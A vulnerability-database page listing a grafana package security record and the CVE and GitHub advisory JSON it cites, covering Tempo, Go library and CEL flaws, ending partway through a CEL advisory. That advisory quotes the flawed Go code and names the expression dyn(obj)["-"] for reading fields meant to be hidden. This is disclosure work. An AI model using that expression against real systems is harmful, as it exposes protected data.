Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package grafana version 13.1.0-r3 fixes 10 vulnerabilities: ghsa-r277-6w6q-xmqw, ghsa-jpcw-4wr7-c3vq, ghsa-gcjh-h69q-9w9g, CVE-2026-46600, CVE-2026-56852...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "grafana"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.1.0-r3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"13.1.0-r3"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package grafana version 13.1.0-r3 fixes 10 vulnerabilities: ghsa-r277-6w6q-xmqw, ghsa-jpcw-4wr7-c3vq, ghsa-gcjh-h69q-9w9g, CVE-2026-46600, CVE-2026-56852...",
"id": "CLEANSTART-2026-HX99883",
"modified": "2026-07-30T09:39:02Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://grafana.com"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in grafana 13.1.0-r3",
"upstream": [
"ghsa-r277-6w6q-xmqw",
"ghsa-jpcw-4wr7-c3vq",
"ghsa-gcjh-h69q-9w9g",
"CVE-2026-46600",
"CVE-2026-56852",
"ghsa-hrxh-6v49-42gf",
"ghsa-ffqx-q65f-36jf",
"ghsa-p4r4-xvrq-gvmc",
"CVE-2026-21728",
"CVE-2026-28377"
]
}
CVE-2026-21728 (GCVE-0-2026-21728)
Vulnerability from cvelistv5 – Published: 2026-04-24 08:00 – Updated: 2026-08-03 12:05| URL | Tags |
|---|---|
| https://grafana.com/security/security-advisories/… | vendor-advisory |
| https://access.redhat.com/security/cve/CVE-2026-21728 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461395 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:22423 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:21769 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24503 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:22347 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:23345 | vendor-advisoryx_refsource_REDHAT |
| Vendor | Product | Version | |
|---|---|---|---|
| Grafana | Tempo |
Affected:
1.3.0 , ≤ 2.8.3
(semver)
Affected: 2.9.0 , ≤ 2.9.1 (semver) Affected: 2.10.0 , ≤ 2.10.1 (semver) |
|
| Grafana | Enterprise Traces (GET) |
Affected:
1.0.0 , ≤ 2.8.7
(semver)
|
|
| Red Hat | Multicluster Global Hub 1.3.4 |
Unaffected:
1779212259 , < *
(rpm)
cpe:/a:redhat:multicluster_globalhub:1.3::el9 |
|
| Red Hat | Multicluster Global Hub 1.5.4 |
Unaffected:
1778867753 , < *
(rpm)
cpe:/a:redhat:multicluster_globalhub:1.5::el9 |
|
| Red Hat | Multicluster Global Hub 1.7.1 |
Unaffected:
1779925273 , < *
(rpm)
cpe:/a:redhat:multicluster_globalhub:1.7::el9 |
|
| Red Hat | Red Hat multicluster global hub 1.4.4 |
Unaffected:
1779579439 , < *
(rpm)
cpe:/a:redhat:multicluster_globalhub:1.4::el9 |
|
| Red Hat | Red Hat multicluster global hub 1.6.0 |
Unaffected:
1780167118 , < *
(rpm)
cpe:/a:redhat:multicluster_globalhub:1.6::el9 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:6 |
|
| Red Hat | Multicluster Global Hub |
cpe:/a:redhat:multicluster_globalhub |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2 |
cpe:/a:redhat:acm:2 |
|
| Red Hat | Red Hat Ceph Storage 5 |
cpe:/a:redhat:ceph_storage:5 |
|
| Red Hat | Red Hat Ceph Storage 6 |
cpe:/a:redhat:ceph_storage:6 |
|
| Red Hat | Red Hat Ceph Storage 9 |
cpe:/a:redhat:ceph_storage:9 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
cpe:/o:redhat:enterprise_linux:10 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat OpenShift distributed tracing 3 |
cpe:/a:redhat:openshift_distributed_tracing:3 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-21728",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-24T11:29:58.649315Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400 Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T13:06:58.775Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_globalhub:1.3::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-globalhub/multicluster-globalhub-grafana-rhel9",
"product": "Multicluster Global Hub 1.3.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1779212259",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_globalhub:1.5::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-globalhub/multicluster-globalhub-grafana-rhel9",
"product": "Multicluster Global Hub 1.5.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1778867753",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_globalhub:1.7::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-globalhub/multicluster-globalhub-grafana-rhel9",
"product": "Multicluster Global Hub 1.7.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1779925273",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_globalhub:1.4::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-globalhub/multicluster-globalhub-grafana-rhel9",
"product": "Red Hat multicluster global hub 1.4.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1779579439",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_globalhub:1.6::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-globalhub/multicluster-globalhub-grafana-rhel9",
"product": "Red Hat multicluster global hub 1.6.0",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780167118",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:6"
],
"defaultStatus": "unaffected",
"packageName": "openshift-logging/lokistack-gateway-rhel9",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:multicluster_globalhub"
],
"defaultStatus": "unaffected",
"packageName": "multicluster-globalhub/multicluster-globalhub-grafana-rhel8",
"product": "Multicluster Global Hub",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"packageName": "rhacm2/acm-grafana-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ceph_storage:5"
],
"defaultStatus": "affected",
"packageName": "rhceph/rhceph-5-dashboard-rhel8",
"product": "Red Hat Ceph Storage 5",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ceph_storage:6"
],
"defaultStatus": "affected",
"packageName": "rhceph/rhceph-6-dashboard-rhel9",
"product": "Red Hat Ceph Storage 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:ceph_storage:9"
],
"defaultStatus": "affected",
"packageName": "rhceph/grafana-rhel10",
"product": "Red Hat Ceph Storage 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"packageName": "grafana",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "grafana",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_distributed_tracing:3"
],
"defaultStatus": "affected",
"packageName": "rhosdt/tempo-gateway-rhel9",
"product": "Red Hat OpenShift distributed tracing 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_distributed_tracing:3"
],
"defaultStatus": "unaffected",
"packageName": "rhosdt/tempo-query-rhel9",
"product": "Red Hat OpenShift distributed tracing 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_distributed_tracing:3"
],
"defaultStatus": "unaffected",
"packageName": "rhosdt/tempo-rhel9",
"product": "Red Hat OpenShift distributed tracing 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_distributed_tracing:3"
],
"defaultStatus": "unaffected",
"packageName": "rhosdt/tempo-rhel9-operator",
"product": "Red Hat OpenShift distributed tracing 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-04-24T08:00:47.074Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Tempo. A remote attacker can exploit this vulnerability by sending large queries to the Tempo service. This can lead to excessive memory allocations, potentially causing a Denial of Service (DoS) by impacting the availability of the service."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-03T12:05:52.725Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-21728"
},
{
"name": "RHBZ#2461395",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461395"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-21728.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22423"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21769"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24503"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22347"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23345"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:22423: Multicluster Global Hub 1.3.4"
},
{
"lang": "en",
"value": "RHSA-2026:21769: Multicluster Global Hub 1.5.4"
},
{
"lang": "en",
"value": "RHSA-2026:24503: Multicluster Global Hub 1.7.1"
},
{
"lang": "en",
"value": "RHSA-2026:22347: Red Hat multicluster global hub 1.4.4"
},
{
"lang": "en",
"value": "RHSA-2026:23345: Red Hat multicluster global hub 1.6.0"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-04-24T09:00:58.144Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-04-24T08:00:47.074Z",
"value": "Made public."
}
],
"title": "grafana/tempo: Tempo: Denial of Service via large queries",
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Tempo",
"vendor": "Grafana",
"versions": [
{
"lessThanOrEqual": "2.8.3",
"status": "affected",
"version": "1.3.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "2.9.1",
"status": "affected",
"version": "2.9.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "2.10.1",
"status": "affected",
"version": "2.10.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"product": "Enterprise Traces (GET)",
"vendor": "Grafana",
"versions": [
{
"lessThanOrEqual": "2.8.7",
"status": "affected",
"version": "1.0.0",
"versionType": "semver"
}
]
}
],
"datePublic": "2026-02-23T07:40:45.862Z",
"descriptions": [
{
"lang": "en",
"value": "Tempo queries with large limits can cause large memory allocations which can impact the availability of the service, depending on its deployment strategy.\n\nMitigation can be done by setting max_result_limit in the search config, e.g. to 262144 (2^18). Alternatively, automatically restart the service."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-29T13:59:49.227Z",
"orgId": "57da9224-a3e2-4646-9d0e-c4dc2e05e7da",
"shortName": "GRAFANA"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://grafana.com/security/security-advisories/cve-2026-21728"
}
],
"source": {
"discovery": "INTERNAL_FINDING"
},
"title": "Tempo query limit results in unbounded memory allocation",
"x_generator": {
"engine": "cvelib 1.8.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "57da9224-a3e2-4646-9d0e-c4dc2e05e7da",
"assignerShortName": "GRAFANA",
"cveId": "CVE-2026-21728",
"datePublished": "2026-04-24T08:00:47.074Z",
"dateReserved": "2026-01-05T09:26:06.215Z",
"dateUpdated": "2026-08-03T12:05:52.725Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-28377 (GCVE-0-2026-28377)
Vulnerability from cvelistv5 – Published: 2026-03-26 21:39 – Updated: 2026-07-29 14:00- CWE-326 - Inadequate Encryption Strength
| URL | Tags |
|---|---|
| https://grafana.com/security/security-advisories/… | vendor-advisory |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-28377",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T13:29:52.402572Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-326",
"description": "CWE-326 Inadequate Encryption Strength",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T13:54:56.438Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Tempo",
"vendor": "Grafana",
"versions": [
{
"status": "affected",
"version": "2.10.3",
"versionType": "semver"
}
]
}
],
"datePublic": "2026-03-26T21:34:51.017Z",
"descriptions": [
{
"lang": "en",
"value": "A vulnerability in Grafana Tempo exposes the S3 SSE-C encryption key in plaintext through the /status/config endpoint, potentially allowing unauthorized users to obtain the key used to encrypt trace data stored in S3.\n\nThanks to william_goodfellow for reporting this vulnerability."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-29T14:00:11.571Z",
"orgId": "57da9224-a3e2-4646-9d0e-c4dc2e05e7da",
"shortName": "GRAFANA"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://grafana.com/security/security-advisories/cve-2026-28377"
}
],
"source": {
"discovery": "BUG_BOUNTY"
},
"title": "S3 SSE-C Encryption Key Exposed in Plaintext via Config Endpoint (CVE-2025-41118 Pattern)",
"x_generator": {
"engine": "cvelib 1.8.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "57da9224-a3e2-4646-9d0e-c4dc2e05e7da",
"assignerShortName": "GRAFANA",
"cveId": "CVE-2026-28377",
"datePublished": "2026-03-26T21:39:46.928Z",
"dateReserved": "2026-02-27T07:16:12.218Z",
"dateUpdated": "2026-07-29T14:00:11.571Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-46600 (GCVE-0-2026-46600)
Vulnerability from cvelistv5 – Published: 2026-07-21 19:18 – Updated: 2026-07-23 15:00- CWE-125 - Out-of-bounds Read
| Vendor | Product | Version | |
|---|---|---|---|
| golang.org/x/net | golang.org/x/net/dns/dnsmessage |
Affected:
0 , < 0.56.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-46600",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-23T15:00:27.171241Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-125",
"description": "CWE-125 Out-of-bounds Read",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-23T15:00:35.473Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "golang.org/x/net/dns/dnsmessage",
"product": "golang.org/x/net/dns/dnsmessage",
"programRoutines": [
{
"name": "unpackSVCBResource"
},
{
"name": "Message.Unpack"
},
{
"name": "Parser.Additional"
},
{
"name": "Parser.AllAdditionals"
},
{
"name": "Parser.AllAnswers"
},
{
"name": "Parser.AllAuthorities"
},
{
"name": "Parser.Answer"
},
{
"name": "Parser.Authority"
},
{
"name": "Parser.HTTPSResource"
},
{
"name": "Parser.SVCBResource"
}
],
"vendor": "golang.org/x/net",
"versions": [
{
"lessThan": "0.56.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Mundur (https://github.com/M0nd0R)"
}
],
"descriptions": [
{
"lang": "en",
"value": "Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-125: Out-of-bounds Read",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-21T19:18:59.755Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/cl/786345"
},
{
"url": "https://go.dev/issue/79795"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-5942"
}
],
"title": "Parsing an invalid SVCB or HTTPS RR can panic in golang.org/x/net/dns/dnsmessage"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2026-46600",
"datePublished": "2026-07-21T19:18:59.755Z",
"dateReserved": "2026-05-15T17:35:00.814Z",
"dateUpdated": "2026-07-23T15:00:35.473Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-56852 (GCVE-0-2026-56852)
Vulnerability from cvelistv5 – Published: 2026-07-21 19:18 – Updated: 2026-07-23 13:26- CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')
| Vendor | Product | Version | |
|---|---|---|---|
| golang.org/x/text | golang.org/x/text/unicode/norm |
Affected:
0 , < 0.39.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-56852",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-23T13:26:14.918983Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-835",
"description": "CWE-835 Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-23T13:26:20.232Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "golang.org/x/text/unicode/norm",
"product": "golang.org/x/text/unicode/norm",
"programRoutines": [
{
"name": "nextComposed"
},
{
"name": "Form.Append"
},
{
"name": "Form.AppendString"
},
{
"name": "Form.Bytes"
},
{
"name": "Form.FirstBoundary"
},
{
"name": "Form.FirstBoundaryInString"
},
{
"name": "Form.IsNormal"
},
{
"name": "Form.IsNormalString"
},
{
"name": "Form.LastBoundary"
},
{
"name": "Form.NextBoundary"
},
{
"name": "Form.NextBoundaryInString"
},
{
"name": "Form.Properties"
},
{
"name": "Form.PropertiesString"
},
{
"name": "Form.QuickSpan"
},
{
"name": "Form.QuickSpanString"
},
{
"name": "Form.Span"
},
{
"name": "Form.SpanString"
},
{
"name": "Form.String"
},
{
"name": "Form.Transform"
},
{
"name": "Iter.Init"
},
{
"name": "Iter.InitString"
},
{
"name": "Iter.Next"
},
{
"name": "Iter.Seek"
},
{
"name": "normReader.Read"
},
{
"name": "normWriter.Write"
}
],
"vendor": "golang.org/x/text",
"versions": [
{
"lessThan": "0.39.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-21T19:18:59.951Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/issue/80142"
},
{
"url": "https://go.dev/cl/794100"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-5970"
}
],
"title": "Infinite loop on invalid input in golang.org/x/text"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2026-56852",
"datePublished": "2026-07-21T19:18:59.951Z",
"dateReserved": "2026-06-23T15:10:49.352Z",
"dateUpdated": "2026-07-23T13:26:20.232Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-FFQX-Q65F-36JF
Vulnerability from github – Published: 2026-03-27 00:31 – Updated: 2026-07-21 14:00A vulnerability in Grafana Tempo exposes the S3 SSE-C encryption key in plaintext through the /status/config endpoint, potentially allowing unauthorized users to obtain the key used to encrypt trace data stored in S3.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/tempo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28377"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T04:07:51Z",
"nvd_published_at": "2026-03-26T22:16:28Z",
"severity": "HIGH"
},
"details": "A vulnerability in Grafana Tempo exposes the S3 SSE-C encryption key in plaintext through the /status/config endpoint, potentially allowing unauthorized users to obtain the key used to encrypt trace data stored in S3.",
"id": "GHSA-ffqx-q65f-36jf",
"modified": "2026-07-21T14:00:17Z",
"published": "2026-03-27T00:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28377"
},
{
"type": "WEB",
"url": "https://github.com/grafana/tempo/commit/bb8ca663db34a0980c9758b40d918fda3b4dbec3"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-ffqx-q65f-36jf"
},
{
"type": "PACKAGE",
"url": "https://github.com/grafana/tempo"
},
{
"type": "WEB",
"url": "https://github.com/grafana/tempo/blob/4dc3e5b0d3463a0b67498b662b85a148698b4afd/CHANGELOG.md?plain=1#L135"
},
{
"type": "WEB",
"url": "https://grafana.com/security/security-advisories/cve-2026-28377"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Grafana Tempo has Inadequate Encryption Strength"
}
GHSA-GCJH-H69Q-9W9G
Vulnerability from github – Published: 2026-07-24 16:48 – Updated: 2026-07-24 16:48The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].
Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.
Root cause
In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.
See at ext/native.go:146:
func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
return func(field reflect.StructField) string {
tag, found := field.Tag.Lookup(structTagToParse)
if found {
splits := strings.Split(tag, ",")
if len(splits) > 0 {
// We make the assumption that the leftmost entry in the tag is the name.
// This seems to be true for most tags that have the concept of a name/key, such as:
// https://pkg.go.dev/encoding/xml#Marshal
// https://pkg.go.dev/encoding/json#Marshal
// https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
// https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
name := splits[0]
return name
}
}
return field.Name
}
}
For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.
This contradicts the encoding/json rule that the source comment explicitly points readers to:
As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".
The public option also documents JSON-style parsing as the intended behavior.
See at ext/native.go:190:
// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
return func(ntp *nativeTypeOptions) error {
ntp.fieldNameHandler = fieldNameByTag(tag)
return nil
}
}
A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.
The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.
